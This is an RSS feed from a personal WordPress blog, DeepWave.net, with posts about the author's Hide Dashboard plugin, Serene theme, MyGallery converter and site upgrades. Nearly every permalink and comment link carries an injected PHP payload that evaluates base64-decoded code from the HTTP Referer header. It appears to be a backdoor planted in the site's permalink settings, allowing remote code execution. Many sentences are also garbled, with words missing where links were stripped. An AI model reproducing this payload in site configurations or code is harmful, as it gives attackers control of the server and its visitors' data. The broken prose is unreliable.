DeepWave » WordPress http://www.deepwave.net On the Internet since 1993 Mon, 30 Aug 2010 15:12:06 +0000 en Updated Hide Dashboard Plugin and Serene Theme http://www.deepwave.net/2008/09/15/updated_hide_dashboard_and_serene/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.deepwave.net/2008/09/15/updated_hide_dashboard_and_serene/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Mon, 15 Sep 2008 08:52:58 +0000 Patrick http://www.deepwave.net/?p=949 Well, after fixing some bugs in , a new version has been put up. Hopefully, this version will now work the way you think it will work vis-a-vis the options :) Also, Serene has been updated to keep in line with ’s Meta Widget changes.

Hide Dashboard Plugin (version 1.3)

Serene Theme (version 1.1)

Enjoy!

]]> http://www.deepwave.net/2008/09/15/updated_hide_dashboard_and_serene/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ Plugin Updates http://www.deepwave.net/2008/08/24/plugin_updates/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.deepwave.net/2008/08/24/plugin_updates/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Sat, 23 Aug 2008 16:44:55 +0000 Patrick http://www.deepwave.net/?p=906 I’ve finally found some time to update my two plugins - and MyGallery to Converter. In short, the following changes were made:

Hide Dashboard 1.2

  • Added option to block access to the Dashboard via the URL Location bar
  • Added option to allow authors and editors to view the Dashboard and other admin section pages

MyGallery to WordPress Converter 1.1

  • Bugfix to import the description and caption (alttext) fields from MyGallery into as well.
  • Added a variable to allow users to change the path of their MyGallery installation if it is different from the default directory

Hopefully, these changes will make the plugins more useful.

]]> http://www.deepwave.net/2008/08/24/plugin_updates/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ Another release, another upgrade, another plugin http://www.deepwave.net/2008/07/29/another_release_another_upgrade_another_plugin/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.deepwave.net/2008/07/29/another_release_another_upgrade_another_plugin/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Tue, 29 Jul 2008 15:03:28 +0000 Patrick http://www.deepwave.net/?p=887 As a follow up to my rant in a previous posting, I’ve actually done something about it and put it on the net. Maybe someone can find it useful. Anyhow, I’ve updated my WordPress, and made various changes and updates overall. Hopefully, this current set of software will last, oh, at least the next ten minutes, before being considered out of date.

]]> http://www.deepwave.net/2008/07/29/another_release_another_upgrade_another_plugin/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ MyGallery to WordPress Converter http://www.deepwave.net/articles/mygallery_to_wordpress_converter/ http://www.deepwave.net/articles/mygallery_to_wordpress_converter/#comments Tue, 29 Jul 2008 14:36:38 +0000 Patrick http://www.deepwave.net/?page_id=882 Recently, I ranted about how did not give me a clear way to from external plugins like MyGallery to new features that have been absorbed into “core”. Finally, I decided to do something about it, and thankfully, everything is open sourced, and so I actually could do something about it. And now that I have, maybe I should make it available publicly as well. Now, be forewarned, this is not a which I intend to maintain very much, since I only need to use it once myself. But it could be useful to others.

In short, this helps to galleries that use the MyGallery Plugin by Thomas Boley to use the attachments system and built-in shortcode that comes with 2.5 or newer.

If you are:

  • unclear about full backups/restores of WP Tables and All Files,
  • or are not really comfortable with thinking about mucking around with php or sql tables,
  • or are just not sure what to do and what this is for,
  • or have no idea what I’m talking about . . .

then please, do not use this , because you may lose valuable data! This is a for advanced and experienced users.

This will attempt to MyGallery installations and related shortcodes to the new attachments and shortcode system. The actual image files used by MyGallery are kept in the same place and merely added to . Please note that not all MyGallery shortcodes are converted, so some manual editing is still required. Also, the conversion is only performed on published posts - unpublished drafts, revisions, etc are ignored.

This will directly change tables, post data, and files in MyGallery. A full backup, ready to restore, is required - better still if you can try it first with on a “mirror” of your blog before actually doing it on the live one.

After the conversion is complete, you will probably still have to go through your blog posts to verify if the layouts are correct. Some (many?) page layouts may need to be edited and changed because there are no exact matches between the layout options in MyGallery shortcodes and . So, after the conversion is complete, please print or save the results page as a reference of the changes that were made so that you know which pages/posts to check/edit.

Also, due to the fact that attachments make use of parent/inherited posts as a way to associate posts with the attachments, the conversion process will associate attachments to the first matching published post. Therefore, having the same MyGallery on multiple pages will probably not properly. Watch out for “(Previously Added) Parent Post ID:” in the results to indicate that an attachment has been used more in more than one posts.

Steps to take:

  1. your blog to 2.6
  2. If you have to, disable your MyGallery , but do not delete it or any of the files/tables, etc
  3. Install and activate this
  4. Run this and follow its instructions, the conversion process can take a long time to work, so please be patient!
  5. Print/save the results page as a reference of the changes that were made
  6. Once the conversion is complete, check your blog to make sure it is working properly. If things go bad, restore from backup and review what went wrong before trying this again
  7. Check/Edit all pages for layout/correct conversion etc
  8. Disable/Delete this
  9. Disable/Delete MyGallery
  10. You can remove the “mygallery”, “mygprelation” and “mypictures” tables from your Database
  11. You can remove the “tumbs” folder from each of your MyGallery folders in the “myfotos” folder, but do not remove the “myfotos” folder or any of the folders inside it, they have been added to the attachments system

All changes made by this are irreversible - use this at your own risk!

Latest Update (2008-08-23): Made a bugfix to import the description and caption (alttext) fields from MyGallery into as well. Also, added a variable to allow users to change the path of their MyGallery installation from the default wp-content/myfotos/ directory. You will need to edit the php file to change this variable (near the top).

Download Sample Output (PDF File)

Download MyGallery 2 WordPress Converter Plugin 1.1

]]> http://www.deepwave.net/articles/mygallery_to_wordpress_converter/feed/ Upgrading - Third-Party to Core http://www.deepwave.net/2008/03/31/upgrading_-_third-party_to_core/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.deepwave.net/2008/03/31/upgrading_-_third-party_to_core/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Sun, 30 Mar 2008 16:37:26 +0000 Patrick http://www.deepwave.net/blog/2008/03/31/upgrading_-_third-party_to_core/ So, WordPress 2.5 has just been released. Its new system is really good, I would like to use it. Unfortunately, the team only added such a feature in to the basic system long - far too long - after picasa and flickr made web galleries a norm. So users like me had to turn to advanced plugins like myGallery and features like Lightbox to add those much needed “flash”. And now, there is no clear path for users (who had no choice earlier but to use those plugins) to to the .

Some of the schemes used in WP25 conflict with myGallery, and they cannot co-exist until myGallery is updated. Thankfully, Alex Rabe’s NextGen Gallery  has been updated in time. But this is cold comfort for someone like me. When I chose myGallery, NGN was nowhere to be found. And now, with say hundreds of images in myGallery, what is the next step?

The development team should take into account the issues faced by users who had to deal with WP adding features into core that third party developers provided. The whole thing with Tagging is being repeated with media galleries. What’s next - caching?

Furthermore, at this point, I can’t even run the myGallery and WP25 side-by-side. So I have to to NextGen (which thankfully has an import from myGallery function), then to WP25? This is a big job needing Big Hairy Balls. And all the time, there is this banner reminding not just me, but all my subscribers that I need to .

I am not objecting directly to the fact that the development team has adopted third-party features into core. I am merely saying that when they do something like that, the WP development team should consider the impact on people who did use the third-party function and made it so popular that it was folded into core. It is like screwing the very users who “voted” that the feature is a good one in the first place. If this sort of thing keeps going on, developers will get pissed off and maybe I should bite the bullet and consider Expression Engine - at least I can scream dollars and sense into them.

]]> http://www.deepwave.net/2008/03/31/upgrading_-_third-party_to_core/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ Site Upgrade Complete! http://www.deepwave.net/2007/11/11/site_upgrade_complete21/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.deepwave.net/2007/11/11/site_upgrade_complete21/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Sat, 10 Nov 2007 17:45:14 +0000 Patrick http://www.deepwave.net/blog/2007/11/11/site_upgrade_complete21/ Phew! What a day!

I must admit, there were times when I was sitting nervously in front of my PC, wondering if things were going to be OK, or if I would end up wiping out several hundred MB worth of online web data. Of course I have backups! But even with backups, it is still scary when performing major surgery on a website..

Anyway, I have since upgraded from 2.0.5 to 2.3.1, and at the same time, changed and updated various plugins and so on and so forth. Upgrading the itself was a breeze. I also used the Maintenance Mode to lock people out until I was ready to have them back in. Since was was going to redo all the plugins and themes, I just threw away most of the wp-content folder, and just upacked the new . Copied over the wp-config.php file, run the program, and boom, website is back online. Then I added all the plugins, themes and widgets, enabled them and spent some time configuring them for their various options etc. All this, I did for both DW.Net and for Route 901.

Then came the really scary portion. I decided to change the DB collation type from the default latin1/latin1_swedish_ci to UTF-8. Luckily, I had the UTF-8 Database Converter from g30rg3_x to help me. Now, the has very scary warning pages saying it doesn’t support WP 2.3.1, and you can lose all your data, yadda, yadda, yadda. However, I was already completely out of my mind by the time I reached this point, and said, “F* Me!” and hit “Go”…

I was incredibly lucky, and  everything worked. All the pages, etc were still there, and nothing was lost.

That was when the sky fell down. All the graphics from the MyGallery was missing. It seemed that the information and images were all still there and correct, but it kept looking for an “a” folder in the URL. I tried to go look in phpMyAdmin and see if there was a problem with the table data, thinking maybe I could edit the fields by hand. No luck, the database looked OK. Fearing the worst, I was about to go hacking around in MyGallery code to see where the problem was, when on a hunch, I decided to try disable the MyGallery , and re-enable it. Wah-lah, what do you know, it worked. I just needed to resetup and reconfigure the MyGallery and everything was back to normal.

After that, it was a matter of  editing tags, rechecking post/page data and so on and so forth. But, basically, things were back to normal. So, here we are, with DeepWave.Net 4.1 - do check out the new Serene Theme and the updated Hide Dashboard - both of which are being released at the same time and used at this site.

It should be noted that the site also owes its success to one key unsung hero: XAMPP Lite.

The entire process and all themes, plugins and widgets was tested and rehearsed on my Windows PC before a single modification was made to the live server. This rehearsal even included real live database data from the server imported into the XAMPP test environment. I am happy to say that thanks to XAMPP, the process was smooth and generally uneventful except for the one problem with the UTF8 conversion and MyGallery .

Conclusion: All’s well that ends well, and hello to widgets, tags and shoutboxes!

]]> http://www.deepwave.net/2007/11/11/site_upgrade_complete21/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ Serene Theme Released http://www.deepwave.net/2007/11/11/serene_theme_released/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.deepwave.net/2007/11/11/serene_theme_released/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Sat, 10 Nov 2007 17:10:57 +0000 Patrick http://www.deepwave.net/blog/2007/11/11/serene_theme_released/ With the major update to DeepWave.Net, the used here is now available for download. Much thanks for Connections by Patricia Müller, Autumn Concept by Ed Merritt and of course, Kubrick by Michael Heilemann for the inspiration.

Download

]]> http://www.deepwave.net/2007/11/11/serene_theme_released/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ Serene WordPress Theme http://www.deepwave.net/articles/serene/ http://www.deepwave.net/articles/serene/#comments Sat, 10 Nov 2007 17:03:45 +0000 Patrick http://www.deepwave.net/articles/serene/ With the changes to DeepWave.Net, a new was required (of course :) and so, Serene was born. A simple, clean and neat with widget support and easily customisable code. Includes a choice of 3 banner images, support for , WP Ajax Edit Comments and comments/trackbacks in Pages. Tested with Firefox 2, IE6 and IE7, minimum 800×600 resolution.

Bonus: Includes the Manic Depressive Web Server!

Download Serene Theme 1.1

For a screenshot, just take a look around DeepWave.Net, this is the Serene . Banner images are below:

Photographs are from Hakone, Japan - Copyright (c) 2007 Patrick Khoo

]]> http://www.deepwave.net/articles/serene/feed/ Hide Dashboard Plugin Updated http://www.deepwave.net/2007/11/10/hide_dashboard_plugin_updated/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.deepwave.net/2007/11/10/hide_dashboard_plugin_updated/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Sat, 10 Nov 2007 15:51:07 +0000 Patrick http://www.deepwave.net/blog/2007/11/10/hide_dashboard_plugin_updated/ One of the most common comments about the was that while it “hid” the dashboard, it did not change the default view of subscribers when they log in (which is still the Dashboard). The new updated gives you an option to use its own Meta section as a widget (instead of the default), and thus bypassing the Dashboard completely for subscribers. This makes it more seamless and cleaner for subscribers.

Hide Dashboard Plugin

]]> http://www.deepwave.net/2007/11/10/hide_dashboard_plugin_updated/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ WordPress Upgraded and Fragmentation http://www.deepwave.net/2007/01/15/wordpress_upgraded_and_fragmentation/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.deepwave.net/2007/01/15/wordpress_upgraded_and_fragmentation/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Mon, 15 Jan 2007 15:48:06 +0000 Patrick http://www.deepwave.net/blog/2007/01/15/wordpress_upgraded_and_fragmentation/ Just as soon as I upgraded the whole of DeepWave to 2.0.6, I find out that 2.0.7 is right around the corner. Sigh.. Nevertheless, I think I’ve nailed down the proper procedures, along with the necessary diffs and backup scripts to do another painless in the future.

Another interesting piece of news is that some of the key members of are starting a new project called Habari. It remains to be seen if it will be as good as or better than of course. Right now, only SVN checkout is allowed, but some kind of developer preview will be available soon, I guess. It is interesting though that in this free world, it is possible to challenge the "establishment" and forge your own way should you feel the need to do so. Now, while many may highlight the various advantageous of a more authoritarian approach, it is important to realise that this sort of "rebellion" every once and a while is very useful to produce the quantum leap forwards.

For example, Apple’s new iPhone is a dramatic change from convention. One of its groundbreaking changes is introduced simply by having only one hard button on the entire device. Some (including myself) argue about tactile feedback, SMS-ing in the dark, a hard-button slient/vibrate mode (ala Palm Treo) etc. But regardless, the iPhone is a (dare I say it) revolutionary device. Which phone company executive would have ever agreed to removing every button except for one? So, it took a rebellious, dare-to-be-different, no-past-historical-baggage company, namely Apple, to "rebel".

I’m sure there will be all sorts of issues with the iPhone, from 3rd-party apps, to battery life etc. But simply because it is a device that dares to be so different, using it will probably be a very different experience. I can’t wait. Ditto for Habari.

]]> http://www.deepwave.net/2007/01/15/wordpress_upgraded_and_fragmentation/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/